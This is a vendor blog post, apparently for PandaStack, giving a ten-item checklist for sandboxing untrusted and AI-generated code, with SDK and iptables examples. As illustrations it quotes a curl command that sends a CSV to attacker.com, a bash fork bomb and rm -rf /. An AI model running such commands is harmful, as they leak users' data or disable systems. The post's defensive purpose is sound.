A Production Checklist for Running Untrusted Code Safely

There's a moment in every code-execution system where a string you can't trust becomes a running process. A user pastes a solution into your grader. A build system runs a fork's Makefile. A model emits a shell command and your agent loop dutifully executes it. That moment is where security is won or lost, and most teams get to it by accident — the code runs before anyone decided how it should run. This is the checklist for deciding on purpose. It is deliberately operational: ten items, in the order they bite, each with the failure it prevents. It's the do-this-now companion to the decision-framework piece on choosing an isolation boundary (/blog/how-to-sandbox-untrusted-code) — less about which sandbox and more about the full set of controls you need around it before you run a single hostile line.

The checklist

Print this, tape it to the wall, and don't ship the code path until every line has an answer. The rest of the post expands the items that need it.

1. Run it behind a hardware boundary — a microVM with its own kernel, not exec()/subprocess on your host and not a plain shared-kernel container.
2. Always set a timeout and a CPU/memory ceiling — no run gets to spin forever or balloon to 40GB.
3. Default-deny network egress — nothing leaves the box unless the task provably needs a specific host.
4. Never inject secrets the code shouldn't see — the sandbox isolates execution, not your credentials.
5. Make the filesystem ephemeral and clean per run — read-only where you can, fresh state every time.
6. One trust domain per VM — never share a sandbox across users, tenants, or tasks.
7. Enforce a TTL and reap aggressively — an abandoned VM is a leak and a bill.
8. Cap disk, PIDs, and forks — the fork bomb and the disk-filler are still real.
9. Log and audit every run — you cannot investigate what you didn't record.
10. Treat deserialization as remote code execution — pickle.load on untrusted input is exec() with extra steps.

1. Run it behind a hardware boundary

Everything else on this list is defense-in-depth around one decision: what wall stands between the untrusted code and your host. Get this wrong and the other nine items are rearranging furniture in a room with no walls. The failing pattern is running untrusted input in your own process — a language eval/exec, a subprocess on the host — which hands the code your permissions, your environment, and your network with no boundary at all. The subtler failure is reaching for a plain container and believing the job is done.

The default for arbitrary untrusted or model-generated code is a microVM: each workload boots its own guest kernel inside CPU hardware virtualization, so an escape has to break the hypervisor rather than find one reachable syscall bug. The historical objection was boot cost, and it's genuinely gone — PandaStack restores a baked snapshot on demand at a p50 of 179ms (about 203ms p99), with the first cold boot of a brand-new template landing around 3 seconds before it bakes the snapshot the rest of the fast path uses. That speed is the whole point: if a fresh hardware-isolated environment costs you ~179ms, you can afford one per task and delete it after, which is what makes the secure pattern practical instead of aspirational. The rung-by-rung comparison — containers, gVisor, Kata, microVMs — is its own piece (/blog/how-to-sandbox-untrusted-code).

Signs your "sandbox" isn't one

• It's a subprocess or a thread in your API process — untrusted code shares your memory, your file descriptors, and your credentials. That's not a sandbox, that's your app.
• It's a plain container sharing the host kernel — a real isolation mechanism, but one kernel CVE or one misconfiguration away from the host; not a boundary for code you can't review.
• It's a language-level sandbox (restricted Python builtins, a JS VM context) — repeatedly and publicly broken; fine as one layer, never as the only one.
• It's reused across callers — even a real VM stops being a boundary the moment two trust domains share it (see item 6).
• It has your production database URL in its environment — the wall may be perfect, but you handed the code the keys through the window (see item 4).

2. Always set a timeout and a resource ceiling

Untrusted code does not have to be malicious to take you down; it just has to be a while(true) loop or a list comprehension that tries to allocate 40GB. Without a wall-clock timeout, a runaway run holds a VM forever and never returns; without a memory ceiling, one allocation storm evicts everything else on the host. Both must be non-optional, set at the moment you launch the code, not hoped for. In PandaStack the execution timeout is an argument on exec (timeout_seconds) — the call returns with a timeout, the run is killed, and you move on — and the guest's CPU/memory ceiling is a property of the VM itself, fixed by the baked snapshot rather than something the code inside can renegotiate. The correct posture is that a single run's worst case is a killed process in a bounded box, never a starved fleet.

3. Default-deny network egress

The most common real-world leak is not an exotic kernel exploit — it's a perfectly isolated VM that still had an open route to the internet and one thing worth taking. Consider the canonical AI task: "plot this CSV." The isolation is flawless; the code cannot touch the host or a neighbor. It doesn't need to — it already, legitimately, has the data you handed it, and with open egress "plot this CSV" is one injected line away from "POST every row (and every env var) to attacker.com." Nothing escaped, the exit code is 0, and the data is on someone else's server. Default to no network for pure-compute tasks; when a task genuinely needs the network, default-deny outbound plus an explicit allowlist of only the hosts it requires, and remember DNS is itself a data channel. PandaStack gives each sandbox its own network namespace, veth, and TAP (16,384 pre-allocated /30 subnets per agent), so egress policy is a per-sandbox decision enforced where you control it. The full egress treatment — allowlists, DNS exfil, the metadata endpoint — is its own post (/blog/controlling-network-egress-untrusted-code).

4. Never inject secrets the code shouldn't see

The rule is blunt: the code you don't trust shares no environment, no credential, no secret with the process that controls your account. Keep the platform API key on your side of the boundary. Make the cloud metadata endpoint (169.254.169.254) unreachable from inside the guest — it's a classic ambient-credential leak that hands instance-role credentials to anything that can make an HTTP request. If a task truly needs a credential, mint a narrowly-scoped, short-lived one — minimum permissions, minutes-long TTL — so that even a leak expires fast and can do little. Do this and the worst an exfil payload can carry off is the task's own input, which is bounded, rather than the keys to everything.

5. Ephemeral, clean-per-run filesystem

State that survives a run is state a compromised run can leave behind for the next caller — a modified script, a cached token, a planted binary. The discipline is a fresh filesystem per task: create the environment clean, run the code, read the result over the platform API, and destroy the whole thing. Keep as much of the guest read-only as the task allows, and give writes a small ephemeral scratch space that dies with the VM. Feed input in and read output back through the API rather than mounting host paths into the guest — every host path you expose is both an escape-adjacent surface and more data that can be exfiltrated. When a single task legitimately needs to carry working state across several steps, snapshot or fork the sandbox (PandaStack same-host fork lands in 400–750ms via copy-on-write; cross-host 1.2–3.5s) rather than reusing one environment across trust boundaries.

6. One trust domain per VM

This is the item teams quietly break to save money, and it's the one that turns a leak into a breach. A sandbox is only a boundary between two things; the moment two users, two tenants, or two unrelated tasks share one VM, everything one of them did is reachable by the other — leftover files, a warmed cache, an env var, a running process. Sub-second creation is precisely what removes the temptation: you don't need a warm pool to reuse, because a fresh VM costs ~179ms. One environment per task, or at most per tenant, always. The blast radius of any single hostile run must end at the walls of one disposable VM that held exactly one caller's data.

7. Teardown and TTL: reap everything

Every sandbox you create is a resource and a bill, and untrusted workloads are exactly the ones that get abandoned mid-run — the client disconnects, the agent loop crashes, the request times out. Without an automatic reaper, those VMs leak: they hold memory, hold a network slot, and quietly accumulate until a host is full of ghosts. So every sandbox gets a TTL at creation time, non-negotiable, and the platform kills it when the clock runs out whether or not anyone remembered to. Pair the TTL with a context-manager pattern in your code so the normal path destroys the VM on exit and the TTL is the backstop for the abnormal one. The goal is that nothing you create can outlive its usefulness by accident.

8. Cap disk, PIDs, and forks

The timeout and memory ceiling from item 2 don't cover every resource-exhaustion trick. A fork bomb (:(){ :|:& };:) spawns processes until the scheduler chokes; a tight loop writing to disk fills the volume until writes fail everywhere; a program that opens file descriptors without closing them exhausts the table. On a shared host these starve neighbors; even on a dedicated VM they can wedge the guest so your run never returns cleanly. The hardware boundary already contains the blast to one VM — but cap the resources inside it too: a PID/process limit so a fork bomb hits a wall, a bounded disk so the filler runs out of room, and file-descriptor limits so the leak self-terminates. A run that exhausts a resource should die against a limit, not take the box with it.

9. Log and audit every run

The first question after any incident is "what did it do?" — and you can only answer it if you recorded the answer before you needed it. For every run, capture what was executed, when, on whose behalf, in which sandbox, with what exit code and duration, and where its network attempts went. This isn't only forensics: an audit stream is how you notice abuse patterns (the same tenant spawning crypto-miners, a spike of blocked egress attempts) while it's happening rather than in the postmortem. Capture output through the platform API so the record lives on your side of the boundary, not inside a guest that's about to be deleted. A sandbox you can't reconstruct after the fact is a sandbox you can't be held accountable for — and on a multi-tenant platform, accountability is a feature.

10. Treat deserialization as RCE

This one hides because it doesn't look like running code. But pickle.load on untrusted input is remote code execution with extra steps — Python's pickle can be crafted to execute arbitrary calls on deserialization, so "just loading a data file" a user uploaded can run whatever the file's author chose. The same trap lives in unsafe YAML loaders, in language-native serialization formats (Java, Ruby), and in any "load this model/config/session" path that accepts an attacker-controlled blob. The rule: if bytes you didn't produce get deserialized by a format that can carry code, that deserialization belongs inside the sandbox, treated with exactly the caution you'd give exec(). Prefer data-only formats (JSON, or pickle/YAML in their safe modes) at your trust boundary, and when you must deserialize something risky, do it in the disposable VM — not in the process holding your credentials.

Putting it together

The whole checklist collapses into one pattern: a fresh hardware-isolated microVM per run, with a timeout, a TTL, no secrets, and no open network — and the code destroyed on exit. Here's the shape of it with PandaStack. The untrusted code can rm -rf its own filesystem, spike CPU, or try to phone home; the blast radius is one disposable VM you were going to delete anyway, and the model-generated rm -rf / runs against a throwaway guest instead of your host.

from pandastack import Sandbox

# Whatever arrived at runtime -- a user upload, a CI step, a shell command
# a model just emitted. We never run it in THIS process.
untrusted = get_untrusted_code()

# One hardware-isolated microVM per run (~179ms p50 to create). The key
# point: PANDASTACK_API_KEY lives in THIS process, on your infrastructure --
# it is never injected into the guest. The code shares no secret with us.
with Sandbox.create(
    template="code-interpreter",
    ttl_seconds=300,            # item 7: reaped automatically if abandoned
) as sbx:
    # Item 5: hand the task its input over the API, not via host mounts.
    sbx.filesystem.write("/work/task.py", untrusted)

    # Item 2: a hard timeout -- a while(True) loop is killed, not eternal.
    result = sbx.exec("python3 /work/task.py", timeout_seconds=30)
    print(result.exit_code)
    print(result.stdout)       # read the result back over the API
# Item 6 + 5: the VM is destroyed here -- no state survives to the next run,
# which gets its own fresh VM. Fresh-per-run is the whole discipline.

The resource ceiling (item 2's memory/CPU cap) is a property of the VM itself — governed by the template's baked snapshot, not something the guest can renegotiate — and the egress posture (item 3) is enforced in the sandbox's own network namespace. The conceptual firewall shape is default-deny outbound, then punch holes only for the hosts the task provably needs:

# CONCEPTUAL: egress policy applied in ONE sandbox's network namespace.
# Each PandaStack sandbox has its own netns + veth, so these rules affect
# exactly this sandbox and nothing else (item 3 + item 6).

# Default-deny all outbound. Starting posture: nothing leaves.
iptables -P OUTPUT DROP

# Allow return traffic only for connections we explicitly permit below.
iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# Allowlist ONLY the host(s) this task provably needs (e.g. one package index).
# Everything else -- including attacker.com -- is dropped.
iptables -A OUTPUT -d 203.0.113.10 -p tcp --dport 443 -j ACCEPT

# Block the cloud metadata endpoint outright (item 4: ambient-credential leak).
iptables -A OUTPUT -d 169.254.169.254 -j DROP

# Result: an injected `curl https://attacker.com/$(cat /work/data.csv)`
# has nowhere to go, and there were no secrets in the box to send anyway.

The SDK reads PANDASTACK_API_KEY (keys are prefixed pds_) from the environment on your side, with a configurable base URL; the same flow exists in the TypeScript SDK (@pandastack/sdk) and the pandastack CLI. PandaStack's core is Apache-2.0 and self-hostable on your own Linux KVM hosts (/dev/kvm) — you run the control-plane API and a per-host agent, and the sandboxes execute on your infrastructure, so every control on this list is enforced where you own it. Work the whole checklist, run the code somewhere you can afford to lose, and the worst day is a deleted sandbox instead of an incident report.